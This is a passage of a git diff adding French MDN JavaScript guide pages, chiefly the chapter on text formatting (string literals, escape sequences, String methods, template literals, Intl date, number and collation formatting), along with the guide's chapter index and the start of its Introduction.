+ <dt>{{jsxref("Objets_globaux/escape","escape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>La fonction dépréciée <code><strong>escape()</strong></code> calcule une nouvelle chaîne de caractères pour laquelle certains caractères ont été remplacés par leur séquence d'échappement hexadécimale. Les fonctions {{jsxref("Objets_globaux/encodeURI","encodeURI()")}} ou {{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent()")}} doivent être utilisées à la place.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/unescape","unescape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>La fonction dépréciée <code><strong>unescape()</strong></code> calcule une nouvelle chaîne de caractères pour laquelle les séquences d'échappement hexadécimales sont remplacées par les caractères qu'elles représentent. Les séquences d'échappement introduites peuvent provenir d'une fonction telle que {{jsxref("Objets_globaux/escape","escape()")}}. <code>unescape</code> est dépréciée et doit être remplacée par {{jsxref("Objets_globaux/decodeURI","decodeURI()")}} ou {{jsxref("Objets_globaux/decodeURIComponent","decodeURIComponent()")}}.</p>
+ </dd>
+</dl>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Boucles_et_it%C3%A9ration", "Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs")}}</p>
diff --git a/files/fr/web/javascript/guide/formatage_du_texte/index.html b/files/fr/web/javascript/guide/formatage_du_texte/index.html
new file mode 100644
index 0000000000..32e270c8d7
--- /dev/null
+++ b/files/fr/web/javascript/guide/formatage_du_texte/index.html
@@ -0,0 +1,255 @@
+---
+title: Formatage de texte
+slug: Web/JavaScript/Guide/Formatage_du_texte
+tags:
+  - Guide
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Text_formatting
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
+
+<p class="summary">Ce chapitre présente comment travailler avec les chaînes de caractères et le texte en JavaScript.</p>
+
+<h2 id="Les_chaînes_de_caractères">Les chaînes de caractères</h2>
+
+<p>Le type {{Glossary("String")}} de JavaScript est utilisé pour représenter des données textuelles. C'est un ensemble d'"éléments" de valeurs non signées sur 16 bits (unités de codage UTF-16). Chaque élément dans la chaîne de caractères occupe une position dans la chaîne de caractères. Le premier élément se trouve à l'indice 0, le suivant à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères est le nombre d'éléments qu'elle contient. Vous pouvez créer des chaînes de caractères en utilisant des littéraux de chaîne de caractères ou des objets chaîne de caractères.</p>
+
+<p class="hidden">ATTENTION : si vous modifiez cette page, n'y incluez aucun caractère au-dessus de U+FFFF, jusqu'à ce que le bug MDN 857438 soit corrigé ( <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=857438">https://bugzilla.mozilla.org/show_bug.cgi?id=857438</a> ).</p>
+
+<h3 id="Les_littéraux_de_chaînes_de_caractères">Les littéraux de chaînes de caractères</h3>
+
+<p>Vous pouvez créer des chaînes de caractères simple en utilisant des apostrophes simples ou doubles :</p>
+
+<pre class="brush: js">'machin'
+"truc"</pre>
+
+<p>Des chaînes plus avancées peuvent être créées en utilisant des séquences d'échappement.</p>
+
+<h4 id="Les_séquences_déchappement_hexadécimales">Les séquences d'échappement hexadécimales</h4>
+
+<p>Le nombre situé après \x est interprété comme un nombre <a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_hexad%C3%A9cimal">hexadécimal</a> :</p>
+
+<pre class="brush: js">'\xA9' // "©"</pre>
+
+<h4 id="Les_séquences_déchappement_Unicode">Les séquences d'échappement Unicode</h4>
+
+<p>Les séquences d'échappement Unicode requièrent au moins quatres caractères hexadécimaux après \u.</p>
+
+<pre class="brush: js">'\u00A9' // "©"</pre>
+
+<h4 id="Léchappement_dunités_de_codage_Unicode">L'échappement d'unités de codage Unicode</h4>
+
+<p>Nouveau dans ECMAScript 2015. Avec les échappements d'unités de codage Unicode, tout caractère peut être échappé en utilisant des nombres hexadécimaux, de sorte qu'il est possible de d'utiliser des unités de codage Unicode jusqu'à <code>0x10FFFF</code>. Avec les échappements Unicode simples, il est souvent nécessaire d'écrire les moitiés de remplacement séparément pour obtenir le même résultat.</p>
+
+<p>Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js">'\u{2F804}'
+
+// Le même avec des échappements Unicode simples
+'\uD87E\uDC04'
+</pre>
+
+<h3 id="Les_objets_String">Les objets String</h3>
+
+<p>L'objet {{jsxref("String")}} est un conteneur autour du type de donnée primitif chaîne de caractères.</p>
+
+<pre><code>var s = new String('foo'); // crée un objet String
+console.log(s); // affiche : {'0': 'f', '1': 'o', '2': 'o'}
+typeof s; // retourne 'object'</code></pre>
+
+<p>Vous pouvez appeler chacune des méthodes de l'objet <code>String</code> avec une valeur littérale de chaîne de caractères : JavaScript convertira automatiquement le littéral en un objet <code>String</code> temporaire, appellera la méthode, puis supprimera l'objet <code>String</code> temporaire. Vous pouvez aussi utiliser la propriété <code>String.length</code> sur un littéral de chaîne de caractères.</p>
+
+<p>Vous devriez utiliser des littéraux de chaîne de caractères, à moins que vous n'ayez spécifiquement besoin d'un objet <code>String</code>, parce que les objets <code>String</code> peuvent avoir un comportement contre-intuitif :</p>
+
+<pre class="brush: js">var s1 = '2 + 2'; // crée une valeur de chaîne de caractères
+var s2 = new String('2 + 2'); // crée un objet String
+eval(s1); // renvoie le nombre 4
+eval(s2); // renvoie la chaîne "2 + 2"</pre>
+
+<p>Un objet <code>String</code> possède une propriété, <code>length</code>, qui indique le nombre d'unités de codage UTF-16 dans la chaîne de caractères. Par exemple, le code suivant affecte à <code>x</code> la valeur 16, parce que la chaîne "Bonjour, Monde !" contient 16 caractères, chacun représenté par une unité de codage UTF-16. Vous pouvez accéder à chaque unité de codage en utilisant une syntaxe de tableau entre crochets. Vous ne pouvez pas changer les caractères, du fait que les chaînes sont des objets immuables (semblables à des tableaux) :</p>
+
+<pre class="brush: js">var machaine = 'Bonjour, Monde !';
+var x = machaine.length;
+machaine[0] = 'L'; // cela n'a aucun effet car les chaînes sont immuables
+machaine[0]; // cela renvoie "B"
+</pre>
+
+<p>Les caractères dont les valeurs scalaires sont supérieures à U+FFFF (comme certains rares caractères chinois/japonais/coréens/vietnamiens et certains emojis) sont stockés en UTF-16 via deux unités de codage de remplacement. Par exemple, une chaîne de caractères contenant le seul caractère U+1F600 ("Emoji grinning face") aura une longueur de 2. Le fait d'accéder aux unités de codage individuelles dans une telle chaîne de caractères en utilisant des crochets peut avoir des conséquences indésirables telles que la génération d'unité de codage de remplacement non conformes, en violation du standard Unicode. (Des exemples devraient être ajoutés à cette page après que le bug MDN 857438 sera corrigé. Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<p>Un objet String a une grande variété de méthodes : par exemple, celles qui retournent une variation de la chaîne de caractères elle-même, telles que <code>substring</code> et <code>toUpperCase</code>.</p>
+
+<p>Le tableau suivant résume les méthodes des objets {{jsxref("String")}}.</p>
+
+<h4 id="Méthodes_de_String">Méthodes de <code>String</code></h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("String.charAt", "charAt")}}, {{jsxref("String.charCodeAt", "charCodeAt")}}, {{jsxref("String.codePointAt", "codePointAt")}}</td>
+   <td>Retourne le caractère ou le code de caractère à la position spécifiée de la chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.indexOf", "indexOf")}}, {{jsxref("String.lastIndexOf", "lastIndexOf")}}</td>
+   <td>Retourne la position de la sous-chaîne spécifiée dans la chaîne de caractères, ou la dernière position de la sous-chaîne spécifiée, respectivement.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.startsWith", "startsWith")}}, {{jsxref("String.endsWith", "endsWith")}}, {{jsxref("String.includes", "includes")}}</td>
+   <td>Retourne le fait de savoir si la chaîne de caractères courante commence ou non par, finit ou non par, ou contient ou non, la chaîne spécifiée.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.concat", "concat")}}</td>
+   <td>Combine le texte de deux chaînes de caractères et retourne une nouvelle chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}},</td>
+   <td>Construit une chaîne de caractères à partir de la séquence de valeurs Unicode fournie. Cette méthode est une méthode de la classe String et non une instance de String.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>Découpe un objet <code>String</code> en un tableau de chaînes de caractères en découpant la chaîne de caractères en sous-chaînes.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.slice", "slice")}}</td>
+   <td>Extrait une partie de la chaîne de caractères et retourne une nouvelle chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.substring", "substring")}}, {{jsxref("String.substr", "substr")}}</td>
+   <td>Retourne le sous-ensemble spécifié de la chaîne de caractères, en spécifiant soit des indices de début et de fin, soit l'indice de début et une longueur.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}}</td>
+   <td>Ces fonctions utilisent des expressions rationnelles.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.toLowerCase", "toLowerCase")}}, {{jsxref("String.toUpperCase", "toUpperCase")}}</td>
+   <td>
+    <p>Retourne la chaîne tout en minuscules ou tout en majuscules, respectivement.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.normalize", "normalize")}}</td>
+   <td>Retourne la Forme Normalisée Unicode de la chaîne de caractères appelante.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.repeat", "repeat")}}</td>
+   <td>Retourne une chaîne constituée des éléments de l'objet répétés le nombre de fois donné.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.trim", "trim")}}</td>
+   <td>Retire les blancs en début et en fin de chaîne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_littéraux_de_modèle_multi-lignes">Les littéraux de modèle multi-lignes</h3>
+
+<p>Le <a href="/fr/docs/Web/JavaScript/Reference/Litt%C3%A9raux_gabarits">littéraux de modèle</a> sont des littéraux de chaîne de caractères permettant des expressions intégrées. Avec eux, vous pouvez utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation de chaînes.</p>
+
+<p>Les littéraux de gabarits sont délimités par des <a href="https://fr.wikipedia.org/wiki/Accent_grave">accents graves</a> (ou <em>backticks` `</em> en anglais), au lieu des apostrophes simples ou doubles. Les littéraux de modèle peuvent contenir des marque-places. Ceux-ci sont indiqués par le signe dollar et des accolades (<code>${expression}</code>).</p>
+
+<h4 id="Multi-lignes">Multi-lignes</h4>
+
+<p>Tout caractère de passage à la ligne inséré dans le source fait partie du littéral de modèle. En utilisant les chaînes de caractères normales, vous auriez eu à utiliser la syntaxe suivante afin d'avoir des chaînes de caractères multi-lignes :</p>
+
+<pre class="brush: js">console.log('chaîne ligne de texte 1\n\
+chaîne ligne de texte 2');
+// "chaîne ligne de texte 1
+// chaîne ligne de texte 2"</pre>
+
+<p>Pour obtenir le même effet avec des chaînes de caractères multi-lignes, vous pouvez maintenant écrire :</p>
+
+<pre class="brush: js">console.log(`chaîne ligne de texte 1
+chaîne ligne de texte 2`);
+// "chaîne ligne de texte 1
+// chaîne ligne de texte 2"</pre>
+
+<h4 id="Expressions_intégrées">Expressions intégrées</h4>
+
+<p>Pour intégrer des expressions dans des chaînes normales, vous devriez utiliser la syntaxe suivante :</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log('Quinze vaut ' + (a + b) + ' et\npas ' + (2 * a + b) + '.');
+// "Quinze vaut 15 et
+// pas 20."</pre>
+
+<p>Maintenant, avec les modèles, vous pouvez utiliser du sucre syntaxique rendant plus lisibles les substitutions comme celle-ci :</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Quinze vaut ${a + b} et\npas ${2 * a + b}.`);
+// "Quinze vaut 15 et
+// pas 20."</pre>
+
+<p>Pour plus d'informations, voir les <a href="/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits">Littéraux de modèles</a> dans la <a href="/fr/docs/Web/JavaScript/Reference">Référence JavaScript</a>.</p>
+
+<h2 id="Internationalisation">Internationalisation</h2>
+
+<p>L'objet {{jsxref("Intl")}} est l'espace de noms pour l'API d'Internationalisation de l'ECMAScript, qui fournit des fonctionnalités de comparaison de chaînes de caractères, de formatage de nombres, et de formatage des dates et heures prenant en compte la langue. Les constructeurs pour les objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}} sont des propriétés de l'objet <code>Intl</code>.</p>
+
+<h3 id="Formatage_date_et_heure">Formatage date et heure</h3>
+
+<p>L'objet {{jsxref("DateTimeFormat")}} est utile pour formater la date et l'heure. Ce qui suit formate une date en anglais telle qu'utilisée aux États-Unis (le résultat sera différent dans une autre zone horaire).</p>
+
+<pre class="brush: js">var msParJour = 24 * 60 * 60 * 1000;
+
+// 17 juillet 2014 00:00:00 UTC.
+var _17juillet2014 = new Date(msParJour * (44 * 365 + 11 + 197));
+
+var options = { year: "2-digit", month: "2-digit", day: "2-digit",
+                hour: "2-digit", minute: "2-digit", timeZoneName: "short" };
+var dateHeureAmericaine = new Intl.DateTimeFormat("en-US", options).format;
+
+console.log(dateHeureAmericaine(_17juillet2014)); // 07/16/14, 5:00 PM PDT
+</pre>
+
+<h3 id="Formatage_des_nombres">Formatage des nombres</h3>
+
+<p>L'objet {{jsxref("NumberFormat")}} est utile pour formater les nombres, par exemple, les devises :</p>
+
+<pre class="brush: js">var prixDeLEssence = new Intl.NumberFormat("en-US",
+                        { style: "currency", currency: "USD",
+                          minimumFractionDigits: 3 });
+
+console.log(prixDeLEssence.format(5.259)); // $5.259
+
+var decimalesHanRMBEnChine = new Intl.NumberFormat("zh-CN-u-nu-hanidec",
+                        { style: "currency", currency: "CNY" });
+
+console.log(decimalesHanRMBEnChine.format(1314.25)); // ￥ 一,三一四.二五
+</pre>
+
+<h3 id="Ordonnancement">Ordonnancement</h3>
+
+<p>L'objet {{jsxref("Collator")}} est utile pour comparer et trier des chaînes de caractères.</p>
+
+<p>Par exemple, il y a en fait deux ordres de tri en allemand, <em>annuaire</em> et <em>dictionnaire</em>. Annuaire met l'accent sur le son, et c'est comme si "ä", "ö", etc. étaient étendus en "ae", "oe", etc. avant le tri :</p>
+
+<pre class="brush: js">var noms = ['Hochberg', 'Hönigswald', 'Holzman'];
+
+var annuaireAllemand = new Intl.Collator('de-DE-u-co-phonebk');
+
+// Comme si tri de ['Hochberg', 'Hoenigswald', 'Holzman']:
+console.log(noms.sort(annuaireAllemand.compare).join(', '));
+// Affiche "Hochberg, Hönigswald, Holzman"
+</pre>
+
+<p>Certains mots allemands se conjuguent avec des umlauts supplémentaires, de sorte que dans les dictionnaires, le fait d'ignorer les umlauts pour le tri  est perceptible (sauf lors du tri de mots ne différant <em>que</em> par des umlauts, comme <em>schon</em> avant <em>schön</em>).</p>
+
+<pre class="brush: js">var dictionnaireAllemand = new Intl.Collator('de-DE-u-co-dict');
+
+// Comme si tri de ["Hochberg", "Honigswald", "Holzman"]:
+console.log(nom.sort(dictionnaireAllemand.compare).join(', '));
+// Affiche "Hochberg, Holzman, Hönigswald"
+</pre>
+
+<p>Pour plus d'informations sur l'API {{jsxref("Intl")}}, voir aussi <a href="https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/">Introducing the JavaScript Internationalization API</a>.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</p>
diff --git a/files/fr/web/javascript/guide/index.html b/files/fr/web/javascript/guide/index.html
new file mode 100644
index 0000000000..d91a8a85b8
--- /dev/null
+++ b/files/fr/web/javascript/guide/index.html
@@ -0,0 +1,136 @@
+---
+title: Guide JavaScript
+slug: Web/JavaScript/Guide
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary"><span class="seoSummary">Le guide JavaScript illustre comment utiliser <a href="/fr/docs/Web/JavaScript">JavaScript</a> et fournit un aperçu des fonctionnalités du langage. Pour des informations exhaustives à propos des fonctionnalités du langage, voir la <a href="/fr/docs/Web/JavaScript/Reference">référence JavaScript</a>.</span></p>
+
+<h2 id="Chapitres">Chapitres</h2>
+
+<p>Ce guide est divisé en plusieurs chapitres :</p>
+
+<ul class="card-grid">
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Introduction">Introduction</a></span>
+
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Introduction#O.C3.B9_trouver_des_informations_concernant_JavaScript">À propos de ce guide</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Introduction#Qu'est-ce_que_JavaScript_.3F">À propos de JavaScript</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript et Java</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Introduction#D.C3.A9marrer_avec_JavaScript">Les outils</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Introduction#Coucou_monde_(hello_world)">Hello World</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire">Grammaire et types</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_bases_du_langage">Syntaxe de base et commentaires</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#D.C3.A9clarations">Déclarations</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_port.C3.A9es_de_variables">Portées des variables</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Remont.C3.A9e_de_variables_(hoisting)">Remontée des variables</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Structures_de_donn.C3.A9es_et_types">Structures de données et types</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Litt.C3.A9raux">Littéraux</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs">Contrôle du flux et gestion des erreurs</a></span>
+  <p><code><a href="/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs#Instruction_if...else">if...else</a></code><br>
+   <code><a href="/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs#L%27instruction_switch">switch</a></code><br>
+   <code><a href="/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs#L%27instruction_try...catch">try/catch/throw</a></code><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs#Utiliser_les_objets_Error">Objets <code>Error</code></a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_itération">Itération et boucles</a></span>
+  <p><code><a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration#L%27instruction_for">for</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration#L%27instruction_while">while</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration#L%27instruction_do...while">do...while</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration#L%27instruction_break">break</a>/<a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration#L%27instruction_continue">continue</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_it%C3%A9ration#L%27instruction_for...in">for..in</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_itération#L'instruction_for...of">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Fonctions</a></span>
+
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Fonctions#D.C3.A9finir_des_fonctions">Définir des fonctions</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Appeler_des_fonctions">Appeler des fonctions</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Port.C3.A9e_d'une_fonction">Portées des fonctions</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Fermetures_(closures)">Fermetures (<em>closures</em>)</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Utiliser_l'objet_arguments">Arguments</a> et <a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Param.C3.A8tres_des_fonctions">paramètres</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Fonctions_fl.C3.A9ch.C3.A9es">Fonctions fléchées</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs">Expressions et opérateurs</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs#Op.C3.A9rateurs_d%27affectation">Affectation</a> et <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs#Op.C3.A9rateurs_de_comparaison">comparaisons</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Op.C3.A9rateurs_arithm.C3.A9tiques">Opérateurs arithmétiques</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs#Op.C3.A9rateurs_binaires">Opérateurs binaires</a> et <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs#Op.C3.A9rateurs_logiques">logiques</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs#Op.C3.A9rateur_conditionnel_ternaire">Opérateur conditionnel</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Nombres_et_dates">Nombres et dates</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Nombres_et_dates#Nombres">Littéraux numériques</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Nombres_et_dates#L'objet_Number">Objet <code>Number</code></a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Nombres_et_dates#L'objet_Math">Objet <code>Math</code></a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Nombres_et_dates#L'objet_Date">Objet <code>Date</code></a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Formatage_du_texte">Formatage du texte</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Formatage_du_texte#Les_litt.C3.A9raux_de_cha.C3.AEnes_de_caract.C3.A8res">Littéraux de chaînes de caractères</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Formatage_du_texte#Les_objets_String">Objet <code>String</code></a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Formatage_du_texte#Les_littéraux_de_gabarits">Littéraux de gabarits</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Formatage_du_texte#Internationalisation">Internationalisation</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Formatage_du_texte#Les_expressions_rationnelles">Expressions rationnelles</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Collections_indexées#Le_type_Array">Collections indexées</a></span>
+
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Tableaux</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Collections_indexées#Les_tableaux_typ.C3.A9s">Tableaux typés</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Collections_avec_clés">Collections avec clés</a></span><code><a href="/fr/docs/Web/JavaScript/Guide/Collections_avec_clés#Le_type_Map">Map</a></code>
+  <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
+   <code><a href="/fr/docs/Web/JavaScript/Guide/Collections_avec_clés#Le_type_Set">Set</a></code><br>
+   <code><a href="/fr/docs/Web/JavaScript/Guide/Collections_avec_clés#Le_type_WeakSet">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets">Utiliser les objets</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#Les_objets_et_les_propri.C3.A9t.C3.A9s">Objets et propriétés</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#Cr.C3.A9er_de_nouveaux_objets">Création d'objets</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_m.C3.A9thodes">Définition de méthodes</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_accesseurs_et_des_mutateurs_(getters_et_setters)">Accesseurs et mutateurs</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails">Le modèle objet JavaScript en détails</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails#Langages_de_prototypes_.2F_Langages_de_classes">Modèle à base de prototypes</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails#La_cr.C3.A9ation_de_la_hi.C3.A9rarchie">Créer des hiérarchies d'objets</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails#L'h.C3.A9ritage_de_propri.C3.A9t.C3.A9s_.3A_les_subtilit.C3.A9s">Héritage</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses">Promesses</a></span>
+
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses#Garanties">Garanties</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses#Chaînage_des_promesses">Chaînage</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses#Propagation_des_erreurs">Propagation des erreurs</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses#Composition">Composition</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses#Gestion_du_temps">Gestion du temps</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Itérateurs et générateurs</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#It.C3.A9rateurs">Itérateurs</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#It.C3.A9rables">Itérables</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#G.C3.A9n.C3.A9rateurs">Générateurs</a></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Métaprogrammation">Métaprogrammation</a></span>
+  <p><code><a href="/fr/docs/Web/JavaScript/Guide/Métaprogrammation#Les_proxies">Proxy</a></code><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Métaprogrammation#Les_gestionnaires_et_les_trappes">Gestionnaires et trappes</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Métaprogrammation#Proxies_r.C3.A9vocables">Proxy révocable</a><br>
+   <code><a href="/fr/docs/Web/JavaScript/Guide/Métaprogrammation#R.C3.A9flexion">Reflect</a></code></p>
+ </li>
+ <li><span><a href="/fr/docs/Web/JavaScript/Guide/Modules">Modules JavaScript</a></span>
+  <p><a href="/fr/docs/Web/JavaScript/Guide/Modules#Exporting_module_features">Exporter</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Modules#Importing_features_into_your_script">Importer</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Modules#Default_exports_versus_named_exports">Exports par défaut</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Modules#Renaming_imports_and_exports">Renommage</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Modules#Aggregating_modules">Agrégation de modules</a><br>
+   <a href="/fr/docs/Web/JavaScript/Guide/Modules#Dynamic_module_loading">Chargement dynamique de modules</a></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/fr/web/javascript/guide/introduction/index.html b/files/fr/web/javascript/guide/introduction/index.html
new file mode 100644
index 0000000000..ff45b841eb
--- /dev/null
+++ b/files/fr/web/javascript/guide/introduction/index.html
@@ -0,0 +1,135 @@
+---
+title: Introduction
+slug: Web/JavaScript/Guide/Introduction
+tags:
+  - Débutant
+  - Guide
+  - Intro
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Types_et_grammaire")}}</div>
+
+<p class="summary">Ce chapitre introduit JavaScript et présente certains de ses concepts fondamentaux.</p>
+
+<h2 id="Ce_que_vous_devriez_déjà_savoir">Ce que vous devriez déjà savoir</h2>
+
